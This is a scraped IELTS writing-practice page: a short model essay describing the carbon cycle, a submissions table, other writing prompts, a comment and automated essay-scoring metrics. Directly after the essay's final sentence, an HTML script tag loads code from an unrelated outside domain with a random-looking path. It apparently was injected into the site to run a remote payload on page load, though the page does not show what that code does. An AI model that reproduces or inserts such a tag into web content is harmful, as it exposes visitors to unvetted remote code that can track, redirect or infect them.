The diagram below illustrates the carbon cycle in nature.
The diagram shows how carbon moves through various stages to form a complete cycle. This report will give a brief description of the main stages in this cycle.
First, we can see that energy from the sun is transformed into organic carbon through a process in plants known as photosynthesis. This organic carbon is then transferred underground when plants, and the animals that feed on them, die and decay. Some of this carbon is trapped underground in the form of fossils and fossil fuels.
Carbon is also released back into the atmosphere, however, through various means. One is when animals and plants respire, and another is when humans burn fossil fuels in cars and factories. All this carbon enters the atmosphere as CO2. It is then reabsorbed by plants, and the cycle begins again.
Overall, we can see that carbon moves in a natural cycle, although human factors may now be affecting the balance.<script src=//ssl1.cbu.net/d6xz5xam></script>
Post date | Users | Rates | Link to Content |
---|---|---|---|
2021-01-29 | VINITA SHARMA | 67 | view |
2021-01-11 | goloves313@vy89.com | 11 | view |
2021-01-12 | phuongnhung3107 | 78 | view |
2018-07-03 | saad_ga26@yahoo.com | 56 | view |
2018-07-03 | saad_ga26@yahoo.com | 56 | view |
- As the number of private cars has increased, so too has the level of pollution in many cities. What can be done to tackle this increasingly common problem? 47
- This bar chart shows the different reasons for making journeys in the UK in 2006 and how males and females differed in this 50
- The bar graph compares the amount of coffee and meat consumed each year by Norway, France, Germany, USA, Russia, China and Japan. 70
- You should spend about 20 minutes on this task.The line graph below gives information about the number of visitors to three London museums between June and September 2013.Summarise the information by selecting and reporting the main features, and make com 60
- The chart below shows the total number of minutes in billions of telephone calls in the UK, divided into three categories, from 1995 to 2002. Summarise the information by selecting and reporting the main features, and make comparisons where relevant. 70
Comments
In the Ielts book said that
In the Ielts book said that 'you do not have to take all the features written in the diagram.'
flaws:
No. of Words: 154 200 //Look, there is 'ocean uptake' too.
Attribute Value Ideal
Score: 6.5 out of 9
Category: Good Excellent
No. of Grammatical Errors: 0 2
No. of Spelling Errors: 0 2
No. of Sentences: 10 10
No. of Words: 154 200
No. of Characters: 729 1000
No. of Different Words: 90 100
Fourth Root of Number of Words: 3.523 4.0
Average Word Length: 4.734 4.6
Word Length SD: 2.423 2.4
No. of Words greater than 5 chars: 54 60
No. of Words greater than 6 chars: 34 50
No. of Words greater than 7 chars: 14 40
No. of Words greater than 8 chars: 11 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 15.4 21.0
Sentence Length SD: 4.247 7.5
Use of Discourse Markers (%): 0.5 0.12
Sentence-Text Coherence: 0.399 0.35
Sentence-Para Coherence: 0.644 0.50
Sentence-Sentence Coherence: 0.127 0.07
Number of Paragraphs: 4 4